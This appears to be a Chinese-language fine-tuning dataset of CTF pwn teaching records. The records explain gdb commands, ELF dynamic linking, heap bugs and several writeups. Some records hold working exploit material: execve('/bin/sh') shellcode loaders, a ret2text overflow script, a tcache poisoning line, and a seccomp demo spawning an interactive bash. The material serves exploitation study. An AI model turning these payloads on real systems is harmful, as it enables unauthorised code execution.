{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-083240bf0a7a62282831", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「查看信息」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 查看信息\n\n- `context`：调试上下文\n- `backtrace`：调用栈\n- `i r` / `info registers`：寄存器\n- `i b` / `info break`：断点信息\n- `i f`：函数列表\n- `info files`：ELF 文件信息\n- `info sharedlibrary`：共享库信息\n- `elf`：ELF 段信息\n- `tls`：线程信息\n- `retaddr`：返回地址所在栈地址\n- `telescope`：解引用查看\n- `magic`：常见利用点提示", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-d64a5061399c175c", "original_line": 611, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-08562446d9bb1e8224c0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2shellcode/shellcode_encode/demo.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2shellcode/shellcode_encode/demo.c`\n\n分类：stack\n\n语言：c\n\n函数/封装：\n- `main`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```c\n// gcc -zexecstack -g -m32 -o shellcode-test shellcode-test.c\n\nint main(){\n    //char shellcode[]=\"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103S0g0x4L1L0R2n1n0W7K7o0Y7K0d2m4B0U380a050W\";\n    char shellcode[] = \"\\xf7\\xe6\\x50\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x48\\x89\\xe7\\xb0\\x3b\\x0f\\x05\";\n    void(*run)()=(void(*)())shellcode;\n    run();\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-34fd74460c1a30b4", "original_line": 548, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/shellcode_encode/demo.c", "split": "train", "split_group_key": "2d78c54f0beacc5978f4229a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/shellcode_encode/demo.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-08e02968b52e99b27269", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2shellcode/shellcode_limit/20.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2shellcode/shellcode_limit/20.c`\n\n分类：stack\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n\n函数/封装：\n- `main`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```c\n#include \n\nint main()\n{\n   unsigned char shellcode[] = \"\\x31\\xf6\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x53\\x54\\x5f\\xb0\\x3b\\x99\\x0f\\x05\";\n   void (*run)()=(void(*)()) shellcode;\n   run();\n   return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-9b448d09d402dd04", "original_line": 550, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/shellcode_limit/20.c", "split": "train", "split_group_key": "41194d102ce363249bd9dd86"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/shellcode_limit/20.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0927d77421c3e68abc52", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「漏洞点」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 漏洞点\n\n核心漏洞是 **UAF**：\n\n```c\nfree(ptr);\n// ptr 没有清零\n```\n\n导致：\n\n1. 释放后的 chunk 仍可 `show`，用于泄露 tcache / unsorted bin 指针。\n2. 释放后的 chunk 仍可 `edit`，用于篡改 tcache `fd`。\n3. 释放后的 chunk 仍可被 hidden backdoor 写 0x10 字节，最终用于改返回地址。\n\n由于 libc 版本较高，tcache 启用了 safe-linking，tcache `fd` 不是明文地址，而是：\n\n```text\nencoded_fd = target ^ (heap_base >> 12)\n```\n\nexp 中每次 poisoning 都用：\n\n```python\nedit(p64(target ^ (heap_addr >> 12)))\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-7feed37ecd90a546", "original_line": 138, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-093069c5fc5093908719", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/postrip.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/postrip.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n- stack/rop\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#include \n#include \n#include \n#include \n#include \n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-cefcb4e3e283237f", "original_line": 306, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/postrip.h", "split": "train", "split_group_key": "481b52825223447d5e46dbd2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/postrip.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-095d928dcead17b7f207", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2text/execve/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2text/execve/exp_cli.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- stack/rop\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\noff=40\n\n#通过程序符号表获取fun函数地址\nfun=elf.sym.fun\npayload=b'a'*off+p64(fun)\n\nr()\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-532c22842e1b1849", "original_line": 559, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2text/execve/exp_cli.py", "split": "train", "split_group_key": "ce64c8d41dd062d28b3d15eb"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2text/execve/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0a7cc1e09d0cc7b612c9", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「参考」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 参考\n\n>ctf-wiki\n[【PWN】初见BROP - 阿新的杂记 - 博客园](https://www.cnblogs.com/HX-Note/p/17291361.html#4%E5%AF%BB%E6%89%BEputs-plt)\n[Using RSP | Cybersec (gitbook.io)](https://ir0nstone.gitbook.io/notes/binexp/stack/reliable-shellcode/using-rsp)\n[SROP初见杀 NepCTF2023 丨 Whirling-In-Rags](https://deepunk.icu/SROP/)\n[文章 - SROP详解 - 先知社区](https://xz.aliyun.com/news/12236#toc-4)\n[文章 - ret2vdso exploit - 先知社区](https://xz.aliyun.com/news/4868#toc-2)", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-f37f5ba5eb6aa364", "original_line": 621, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0bb17786fdde25bb0301", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「（1）节表认识」。\n资料来源：Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md；主题：dl_resolve-any_gadget；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### （1）节表认识\n\n查看节表命令：readelf -d bof     readelf -S bof\n\n查看JMPREL（.rel.plt）：readelf -r bof\n\n查看SYMTAB（.dynsym）：readelf -s bof\n\nSTRTAB——.dynstr  存字符串\n\nSYMTAB——.dynsym   存动态链接符号表，结构如下`Elf32_Sym`：\n\nJMPREL——.rel.plt   函数重定位  存`Elf32_Rel`{r_offset+r_info}（`r_offset`指向got表(.got.plt节全局函数偏移表)地址，`r_info`存偏移——第几个，根据`r_info`来找这个函数在.dynsym中是第几个）\n\nREL——       .rel.dyn  变量重定位\n\nPLTGOT—— .got.plt  常说的GOT表\n\n.plt节 过程链接表，每个函数占0x10字节。过程链接表把位置独立的函数调用重定向到绝对位置。\n\n```c\ntypedef uint32_t Elf32_Addr;\ntypedef uint32_t Elf32_Word;\ntypedef struct\n{\n    Elf32_Word st_name;     // Symbol name(string tbl index)  表示在.dynstr中的偏移\n    Elf32_Addr st_value;    // Symbol value\n    Elf32_Word st_size;     // Symbol size\n    unsigned char st_info;  // Symbol type and binding\n    unsigned char st_other; // Symbol visibility under glibc>=2.2\n    Elf32_Section st_shndx; // Section index\n} Elf32_Sym;\n```\n\n```c\ntypedef struct {\n    Elf32_Addr r_offset;    // 对于可执行文件，此值为虚拟地址\n    Elf32_Word r_info;      // 符号表索引,  r_info高8位表示index，低8位表示条目类型\n} Elf32_Rel;\n\n#define ELF32_R_SYM(info) ((info)>>8)\n#define ELF32_R_TYPE(info) ((unsigned char)(info))\n#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))\n\n```\n\n####(2)**call read@plt**的库函数调用过程\n\n第一次调用read时：\n\n```bash\ngdb-peda$ x/3i read   #plt\n   0x80482f0 :        jmp    DWORD PTR ds:0x804970c\n   0x80482f6 :      push   0x0\n   0x80482fb :     jmp    0x80482e0   #跳到.plt开头！！\ngdb-peda$ x/wx 0x804970c   #got表\n   0x804970c <[EMAIL_REDACTED]>:       0x080482f6\ngdb-peda$ x/2i 0x80482e0   #plt[0]，plt开头\n   0x80482e0:   push   DWORD PTR ds:0x8049704\n   0x80482e6:   jmp    DWORD PTR ds:0x8049708\n```\n\n   （1）jmp read@got.plt会跳回read@plt，将read的重定位偏移（在.rel.plt也就是JMPREL（存{`r_offset`(指向got表)+`r_info`}）中的偏移）压栈，跳到plt[0]也即plt（.plt—plt表，jmp那一块儿）开头（0x80482e0正好和read位置0x80482f0相差0x10），再将(.got.plt+4)（GOT[1]—got表，链接器的标识信息）压栈并跳到**(.got.plt+0x8)（GOT[2]动态连接器中的入口点）**，相当于调用以下函数：\n\n​\t_dl_runtime_resolve(link_map, rel_offset);（`link_map`—got[4]，`rel_offset`—JMPREL节，函数地址是got[8]）。\n\n​\t_dl_runtime_resolve会完成具体解析、填充结果和调用的工作。(即将真实的write函数地址写入其GOT条目中，随后把控制权交给write函数。)\n\n​    （2）根据rel_offset找到**重定位条目JMPREL**（8字节）：\n\n​    Elf32_Rel * rel_entry = **JMPREL** + rel_offset;\n\n​    （3）再根据rel_entry中的符号表条目编号，得到对应**符号信息结构SYMTAB**（16字节）：\n\n​    Elf32_Sym *sym_entry **=** **SYMTAB**[ELF32_R_SYM(rel_entry**->**r_info)];\n\n​    （4）再找到符号名称。STRTAB\n\n​    char *sym_name **=** **STRTAB **+ sym_entry**->**st_name;\n\n​    （5）最后，根据名称，搜索动态库。找到地址后，填充到.got.plt对应位置，最后调整栈，调用这一解析得到的函数。\n\n####（3）_dl_fixup函数流程\n\n源码，_dl_fixup是在glibc-2.23/elf/dl-runtime.c实现（dl_runtime_resolve函数内部调用了dl_fixup）：\n\n\n\n```c\n59\tDL_FIXUP_VALUE_TYPE\n60\tattribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE\n61\t_dl_fixup (\n62\t# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS\n63\t           ELF_MACHINE_RUNTIME_FIXUP_ARGS,\n64\t# endif\n65\t           struct link_map *l, ElfW(Word) reloc_arg)\n66\t{\n67\t  const ElfW(Sym) *const symtab\n68\t    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);\n69\t  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);\n70\t// 1.首先通过参数reloc_arg计算重定位入口，这里的JMPREL即.rel.plt，reloc_offset即reloc_arg\n71\t  const PLTREL *const reloc\n72\t    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);\n    // 2.然后通过reloc->r_info找到.dynsym中对应的条目\n73\t  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];\n74\t  const ElfW(Sym) *refsym = sym;\n75\t  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);\n76\t  lookup_t result;\n77\t  DL_FIXUP_VALUE_TYPE value;\n78\n79\t  /* Sanity check that we're really looking at a PLT relocation.  */\n    // 3.这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7\n80\t  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);\n81\n82\t   /* Look up the target symbol.  If the normal lookup rules are not\n83\t      used don't look in the global scope.  */\n84\t  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)\n85\t    {\n86\t      const struct r_found_version *version = NULL;\n87\n88\t      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)\n89\t        {\n90\t          const ElfW(Half) *vernum =\n91\t            (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);\n92\t          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;\n93\t          version = &l->l_versions[ndx];\n94\t          if (version->hash == 0)\n95\t            version = NULL;\n96\t        }\n97\n98\t      /* We need to keep the scope around so do some locking.  This is\n99\t         not necessary for objects which cannot be unloaded or when\n100\t         we are not using any threads (yet).  */\n101\t      int flags = DL_LOOKUP_ADD_DEPENDENCY;\n102\t      if (!RTLD_SINGLE_THREAD_P)\n103\t        {\n104\t          THREAD_GSCOPE_SET_FLAG ();\n105\t          flags |= DL_LOOKUP_GSCOPE_LOCK;\n106\t        }\n107\n108\t#ifdef RTLD_ENABLE_FOREIGN_CALL\n109\t      RTLD_ENABLE_FOREIGN_CALL;\n110\t#endif\n111\t// 4.接着通过strtab+sym->st_name找到符号表字符串，result为libc基地址\n112\t      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,\n113\t                                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);\n114\n115\t      /* We are done with the global scope.  */\n116\t      if (!RTLD_SINGLE_THREAD_P)\n117\t        THREAD_GSCOPE_RESET_FLAG ();\n118\n119\t#ifdef RTLD_FINALIZE_FOREIGN_CALL\n120\t      RTLD_FINALIZE_FOREIGN_CALL;\n121\t#endif\n122\n123\t      /* Currently result contains the base load address (or link map)\n124\t         of the object that defines sym.  Now add in the symbol\n125\t         offset.  */\n    // 5.value为libc基址加上要解析函数的偏移地址，也即实际地址\n126\t      value = DL_FIXUP_MAKE_VALUE (result,\n127\t                                   SYMBOL_ADDRESS (result, sym, false));\n128\t    }\n129\t  else\n130\t    {\n131\t      /* We already found the symbol.  The module (and therefore its load\n132\t         address) is also known.  */\n133\t      value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));\n134\t      result = l;\n135\t    }\n136\n137\t  /* And now perhaps the relocation addend.  */\n138\t  value = elf_machine_plt_value (l, reloc, value);\n139\n140\t  if (sym != NULL\n141\t      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))\n142\t    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));\n143\n144\t  /* Finally, fix up the plt itself.  */\n145\t  if (__glibc_unlikely (GLRO(dl_bind_not)))\n146\t    return value;\n147\t// 6.最后把value写入相应的GOT表条目中\n148\t  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);\n149\t}\n```\n\n​\t主要流程如下：", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-9decba5a80dc4a5f", "original_line": 585, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md", "split": "train", "split_group_key": "797d0effc87ee7204e563363"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0c0818ef481c6af3b527", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Off-by-one」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Off-by-one\n\noff-by-one 漏洞严格来说是一种特殊的溢出漏洞，off-by-one 指程序向缓冲区中写入时，写入的字节数超过了这个缓冲区的本身所申请的字节数并且只越界了一个字节。\n\noff-by-one 是指单字节缓冲区溢出，这种漏洞的产生往往与边界验证不严和字符串操作有关，当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括：\n\n+ 使用循环语句向堆块中写入数据时，循环的次数设置错误（这在 C 语言初学者中很常见）导致多写了一个字节。\n+ 字符串操作不合适\n\n一般来说，单字节溢出被认为是难以利用的，但是因为 Linux 的堆管理机制 ptmalloc 验证的松散性，基于 Linux 堆的 off-by-one 漏洞利用起来并不复杂，并且威力强大。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-5225171bdc82b3f8", "original_line": 75, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0c475c678ef278d50fac", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Seccomp绕过/prctl.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Seccomp绕过/prctl.c`\n\n分类：seccomp\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `main`\n\n利用主题关键词：\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x00000000`, `0x00000004`, `0x0000003b`, `0x40000000`, `0x7fff0000`, `0xc000003e`\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n#include \n#include \n\nint main(int argc, char *argv[])\n{\n\n  //定义过滤器规则\n  struct sock_filter filter[] = {\n            {0x20, 0x00, 0x00, 0x00000004},\n            {0x15, 0x00, 0x04, 0xc000003e},\n            {0x20, 0x00, 0x00, 0x00000000},\n            {0x35, 0x02, 0x00, 0x40000000},\n            {0x15, 0x01, 0x00, 0x0000003b},\n            {0x06, 0x00, 0x00, 0x7fff0000},\n            {0x06, 0x00, 0x00, 0x00000000}\n  };\n  struct sock_fprog prog = {\n            .len = (unsigned short) (sizeof(filter) / sizeof(filter[0])),\n            .filter = filter,\n    };\n\n    // 设置seccomp过滤器\n    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {\n        perror(\"[-] prctl error.\");\n        return 1;\n    }\n\n    // 执行系统调用\n    char *args[] = {\"/bin/bash\", \"-i\", NULL};\n    execve(args[0], args, NULL);\n\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-785bd6ecaac8a330", "original_line": 506, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/prctl.c", "split": "train", "split_group_key": "10b642126fa04cdcb7368c05"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/prctl.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0ca3ff6ae150c8f257a0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「总结」。\n资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 总结\n\n本题核心是一个由类型混用导致的 malloc 失败隐藏后门：\n\n```text\nscanf(\"%u\") + signed size check + malloc(size + 8) fail path -> gift() -> arbitrary free\n```\n\n配合链表删除导致的堆块复用和 `show` 泄露，可以获得 libc base 与 heap base。之后利用 glibc 2.35 safe-linking 编码规则做 tcache poisoning，将写入目标转移到 `_IO_list_all` 附近，最后构造 fake FILE / obstack 结构，在 `exit()` 的 IO flush 流程中触发 `system('/bin/sh')`。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-d3cfc327a84441e6", "original_line": 176, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "split_group_key": "510c80802c5c6c353196ef42"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0ce9fca1ae423354d56e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「mmap」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### mmap\n\n`mmap`函数在 Linux 系统中主要作用是将文件或设备映射到进程的虚拟地址空间，也可以用于在不依赖文件的情况下分配匿名内存区域。\n\n`mmap`在内存分配中用于匿名映射，直接向操作系统请求内存，而不改变进程的堆区域。这样分配方式要比`brk`更灵活一点，适合分配较大的内存块。`malloc`函数的实现中，通过使用`mmap`分配超过一定大小（如128kb）的内存块。\n\n`munmap`函数用于将特定地址区域的对象映射删除掉。\n\n```c\n#include \nvoid *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);\nint munmap(void *addr,size_t length);\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-9152b397bfba1fdc", "original_line": 93, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
